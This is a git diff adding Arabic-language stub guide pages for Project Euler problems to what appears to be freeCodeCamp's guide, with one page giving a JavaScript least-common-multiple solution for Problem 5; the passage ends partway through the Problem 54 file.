diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-457-a-polynomial-modulo-the-square-of-a-prime/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-457-a-polynomial-modulo-the-square-of-a-prime/index.md
new file mode 100644
index 0000000000..74f9fcac83
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-457-a-polynomial-modulo-the-square-of-a-prime/index.md
@@ -0,0 +1,9 @@
+---
+title: A polynomial modulo the square of a prime
+localeTitle: متعدد الحدود modulo مربع من رئيس الوزراء
+---
+## المشكلة 457: صيغة متعددة الحدود لساحة البرايم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-457-a-polynomial-modulo-the-square-of-a-prime/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-458-permutations-of-project/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-458-permutations-of-project/index.md
new file mode 100644
index 0000000000..46a2b225e8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-458-permutations-of-project/index.md
@@ -0,0 +1,9 @@
+---
+title: Permutations of Project
+localeTitle: تباديل المشروع
+---
+## مشكلة 458: تباديل المشروع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-458-permutations-of-project/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-459-flipping-game/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-459-flipping-game/index.md
new file mode 100644
index 0000000000..eb3d98817d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-459-flipping-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Flipping game
+localeTitle: لعبة التقليب
+---
+## مشكلة 459: لعبة التقليب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-459-flipping-game/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-46-goldbachs-other-conjecture/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-46-goldbachs-other-conjecture/index.md
new file mode 100644
index 0000000000..05c7f52b37
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-46-goldbachs-other-conjecture/index.md
@@ -0,0 +1,9 @@
+---
+title: Goldbach's other conjecture
+localeTitle: تخمين غولدباخ الآخر
+---
+## المشكلة 46: تخمين غولدباخ الآخر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-46-goldbachs-other-conjecture/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-460-an-ant-on-the-move/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-460-an-ant-on-the-move/index.md
new file mode 100644
index 0000000000..405f73373f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-460-an-ant-on-the-move/index.md
@@ -0,0 +1,9 @@
+---
+title: An ant on the move
+localeTitle: نملة على هذه الخطوة
+---
+## مشكلة 460: نملة على هذه الخطوة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-460-an-ant-on-the-move/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-461-almost-pi/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-461-almost-pi/index.md
new file mode 100644
index 0000000000..3591e636be
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-461-almost-pi/index.md
@@ -0,0 +1,9 @@
+---
+title: Almost Pi
+localeTitle: تقريبا بي
+---
+## المشكلة 461: تقريبا بي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-461-almost-pi/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-462-permutation-of-3-smooth-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-462-permutation-of-3-smooth-numbers/index.md
new file mode 100644
index 0000000000..65ec965c36
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-462-permutation-of-3-smooth-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Permutation of 3-smooth numbers
+localeTitle: استنساخ 3 أرقام سلسة
+---
+## المشكلة 462: استنساخ الأرقام 3-smooth
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-462-permutation-of-3-smooth-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-463-a-weird-recurrence-relation/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-463-a-weird-recurrence-relation/index.md
new file mode 100644
index 0000000000..7c21fb78f0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-463-a-weird-recurrence-relation/index.md
@@ -0,0 +1,9 @@
+---
+title: A weird recurrence relation
+localeTitle: علاقة نكراء غريبة
+---
+## المشكلة 463: علاقة نكراء غريبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-463-a-weird-recurrence-relation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-464-mbius-function-and-intervals/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-464-mbius-function-and-intervals/index.md
new file mode 100644
index 0000000000..7eae568bf1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-464-mbius-function-and-intervals/index.md
@@ -0,0 +1,9 @@
+---
+title: Möbius function and intervals
+localeTitle: وظيفة Möbius والفترات الفاصلة
+---
+## المشكلة 464: وظيفة Möbius والفواصل الزمنية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-464-mbius-function-and-intervals/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-465-polar-polygons/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-465-polar-polygons/index.md
new file mode 100644
index 0000000000..71c5331d9c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-465-polar-polygons/index.md
@@ -0,0 +1,9 @@
+---
+title: Polar polygons
+localeTitle: المضلعات القطبية
+---
+## المشكلة 465: المضلعات القطبية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-465-polar-polygons/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-466-distinct-terms-in-a-multiplication-table/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-466-distinct-terms-in-a-multiplication-table/index.md
new file mode 100644
index 0000000000..6a47546af4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-466-distinct-terms-in-a-multiplication-table/index.md
@@ -0,0 +1,9 @@
+---
+title: Distinct terms in a multiplication table
+localeTitle: مصطلحات مميزة في جدول الضرب
+---
+## المشكلة 466: مصطلحات مميزة في جدول الضرب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-466-distinct-terms-in-a-multiplication-table/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-467-superinteger/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-467-superinteger/index.md
new file mode 100644
index 0000000000..7df73d531d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-467-superinteger/index.md
@@ -0,0 +1,9 @@
+---
+title: Superinteger
+localeTitle: Superinteger
+---
+## المشكلة 467: Superinteger
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-467-superinteger/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-468-smooth-divisors-of-binomial-coefficients/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-468-smooth-divisors-of-binomial-coefficients/index.md
new file mode 100644
index 0000000000..74a6cdb891
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-468-smooth-divisors-of-binomial-coefficients/index.md
@@ -0,0 +1,9 @@
+---
+title: Smooth divisors of binomial coefficients
+localeTitle: قواطع ملساء لمعاملات ذات الحدين
+---
+## المشكلة 468: المقسومات السلس لمعاملات ذات الحدين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-468-smooth-divisors-of-binomial-coefficients/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-469-empty-chairs/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-469-empty-chairs/index.md
new file mode 100644
index 0000000000..98b1e66362
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-469-empty-chairs/index.md
@@ -0,0 +1,9 @@
+---
+title: Empty chairs
+localeTitle: الكراسي الفارغة
+---
+## المشكلة 469: الكراسي الفارغة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-469-empty-chairs/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-47-distinct-primes-factors/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-47-distinct-primes-factors/index.md
new file mode 100644
index 0000000000..bb25d5d5f5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-47-distinct-primes-factors/index.md
@@ -0,0 +1,9 @@
+---
+title: Distinct primes factors
+localeTitle: العوامل الأولية المميزة
+---
+## المشكلة 47: العوامل الأولية المميزة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-47-distinct-primes-factors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-470-super-ramvok/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-470-super-ramvok/index.md
new file mode 100644
index 0000000000..f289eb8419
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-470-super-ramvok/index.md
@@ -0,0 +1,9 @@
+---
+title: Super Ramvok
+localeTitle: سوبر رامفوك
+---
+## المشكلة 470: سوبر رامفوك
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-470-super-ramvok/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-471-triangle-inscribed-in-ellipse/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-471-triangle-inscribed-in-ellipse/index.md
new file mode 100644
index 0000000000..0bdc02c129
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-471-triangle-inscribed-in-ellipse/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangle inscribed in ellipse
+localeTitle: مثلث مدرج في القطع الناقص
+---
+## المشكلة 471: مثلث مدرج في القطع الناقص
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-471-triangle-inscribed-in-ellipse/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-472-comfortable-distance-ii/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-472-comfortable-distance-ii/index.md
new file mode 100644
index 0000000000..62edd78d12
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-472-comfortable-distance-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Comfortable Distance II
+localeTitle: المسافة المريحة الثانية
+---
+## المشكلة 472: المسافة المريحة الثانية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-472-comfortable-distance-ii/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-473-phigital-number-base/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-473-phigital-number-base/index.md
new file mode 100644
index 0000000000..c7a1d17541
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-473-phigital-number-base/index.md
@@ -0,0 +1,9 @@
+---
+title: Phigital number base
+localeTitle: قاعدة رقم رقمية
+---
+## المشكلة 473: قاعدة رقم رقمية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-473-phigital-number-base/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-474-last-digits-of-divisors/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-474-last-digits-of-divisors/index.md
new file mode 100644
index 0000000000..f4b268bcbb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-474-last-digits-of-divisors/index.md
@@ -0,0 +1,9 @@
+---
+title: Last digits of divisors
+localeTitle: آخر أرقام من المقسومات
+---
+## المشكلة 474: آخر أرقام من المقسومات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-474-last-digits-of-divisors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-475-music-festival/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-475-music-festival/index.md
new file mode 100644
index 0000000000..843bebf2aa
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-475-music-festival/index.md
@@ -0,0 +1,9 @@
+---
+title: Music festival
+localeTitle: احتفال موسيقي
+---
+## المشكلة 475: مهرجان الموسيقى
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-475-music-festival/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-476-circle-packing-ii/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-476-circle-packing-ii/index.md
new file mode 100644
index 0000000000..98fc4b107b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-476-circle-packing-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Circle Packing II
+localeTitle: دائرة التعبئة II
+---
+## المشكلة 476: Circle Packing II
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-476-circle-packing-ii/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-477-number-sequence-game/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-477-number-sequence-game/index.md
new file mode 100644
index 0000000000..256a98faa3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-477-number-sequence-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Number Sequence Game
+localeTitle: لعبة تسلسل الأرقام
+---
+## المشكلة 477: لعبة تسلسل الأرقام
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-477-number-sequence-game/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-478-mixtures/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-478-mixtures/index.md
new file mode 100644
index 0000000000..c4295ae146
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-478-mixtures/index.md
@@ -0,0 +1,9 @@
+---
+title: Mixtures
+localeTitle: مخاليط
+---
+## المشكلة 478: المزائج
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-478-mixtures/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-479-roots-on-the-rise/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-479-roots-on-the-rise/index.md
new file mode 100644
index 0000000000..d5d19dc070
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-479-roots-on-the-rise/index.md
@@ -0,0 +1,9 @@
+---
+title: Roots on the Rise
+localeTitle: جذور على الارتفاع
+---
+## المشكلة 479: جذور على الارتفاع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-479-roots-on-the-rise/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-48-self-powers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-48-self-powers/index.md
new file mode 100644
index 0000000000..06020be507
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-48-self-powers/index.md
@@ -0,0 +1,9 @@
+---
+title: Self powers
+localeTitle: القوى الذاتية
+---
+## المشكلة 48: القوى الذاتية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-48-self-powers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-480-the-last-question/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-480-the-last-question/index.md
new file mode 100644
index 0000000000..8cedec5a97
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-480-the-last-question/index.md
@@ -0,0 +1,9 @@
+---
+title: The Last Question
+localeTitle: السؤال الأخير
+---
+## المشكلة 480: السؤال الأخير
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-480-the-last-question/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-49-prime-permutations/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-49-prime-permutations/index.md
new file mode 100644
index 0000000000..c0f5283859
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-49-prime-permutations/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime permutations
+localeTitle: التباديل رئيس
+---
+## المشكلة 49: التباديل رئيس الوزراء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-49-prime-permutations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-5-smallest-multiple/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-5-smallest-multiple/index.md
new file mode 100644
index 0000000000..6684342d06
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-5-smallest-multiple/index.md
@@ -0,0 +1,44 @@
+---
+title: Smallest multiple
+localeTitle: أصغر متعددة
+---
+## المشكلة 5: أصغر متعددة
+
+### طريقة:
+
+*   في هذا التحدي ، نحتاج إلى العثور على LCM من 1 إلى n من الأرقام.
+*   للعثور على LCM لأحد الأعداد ، نستخدم الصيغة التالية:
+*   ![لكم]](https://wikimedia.org/api/rest_v1/media/math/render/svg/9453a93953efe119b7502c1827aeeb869ab121d6)
+*   لإيجاد GCD (القاسم المشترك الأكبر) من رقمين نستخدم خوارزمية Euclidean.
+*   بعد الحصول على LCM من رقمين ، يمكننا الحصول على LCM من الأرقام من 1 إلى n.
+
+### حل:
+
+ `//LCM of two numbers 
+ function lcm(a, b){ 
+  return (a*b)/gcd(a, b); 
+ } 
+ 
+ //Euclidean recursive algorithm 
+ function gcd(a, b){ 
+  if (b === 0) return a; 
+  return gcd(b, a%b); 
+ } 
+ 
+ function smallestMult(n){ 
+  let maxLCM = 1; 
+ 
+  //Getting the LCM in the range 
+  for (let i = 2; i <= n; i++){ 
+    maxLCM = lcm(maxLCM, i); 
+  } 
+  return maxLCM; 
+ } 
+` 
+
+*   [تشغيل الكود](https://repl.it/@ezioda004/Problem-5-Smallest-multiple)
+
+### المراجع:
+
+*   [خوارزمية Euclidean](https://en.wikipedia.org/wiki/Euclidean_algorithm)
+*   [LCM](https://en.wikipedia.org/wiki/Least_common_multiple)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-50-consecutive-prime-sum/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-50-consecutive-prime-sum/index.md
new file mode 100644
index 0000000000..a8d6c97ef7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-50-consecutive-prime-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Consecutive prime sum
+localeTitle: مبلغ رئيسى متتابع
+---
+## المشكلة 50: مبلغ رئيس متسلسل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-50-consecutive-prime-sum/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-51-prime-digit-replacements/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-51-prime-digit-replacements/index.md
new file mode 100644
index 0000000000..fc35c0a8a2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-51-prime-digit-replacements/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime digit replacements
+localeTitle: بدائل الرقم الرئيسي
+---
+## المشكلة 51: بدائل الرقم الأول
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-51-prime-digit-replacements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-52-permuted-multiples/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-52-permuted-multiples/index.md
new file mode 100644
index 0000000000..54c309bab3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-52-permuted-multiples/index.md
@@ -0,0 +1,9 @@
+---
+title: Permuted multiples
+localeTitle: مضاعفات متزامنة
+---
+## المشكلة 52: مضاعفات مطولة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-52-permuted-multiples/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-53-combinatoric-selections/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-53-combinatoric-selections/index.md
new file mode 100644
index 0000000000..660b0bb18d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-53-combinatoric-selections/index.md
@@ -0,0 +1,9 @@
+---
+title: Combinatoric selections
+localeTitle: التحديدات التجميعية
+---
+## المشكلة 53: التحديدات التجميعية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-53-combinatoric-selections/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-54-poker-hands/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-54-poker-hands/index.md
new file mode 100644
index 0000000000..f4100a7d8f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-54-poker-hands/index.md
@@ -0,0 +1,9 @@
+---
+title: Poker hands
+localeTitle: يد البوكر
+---
+## المشكلة 54: يد البوكر
+
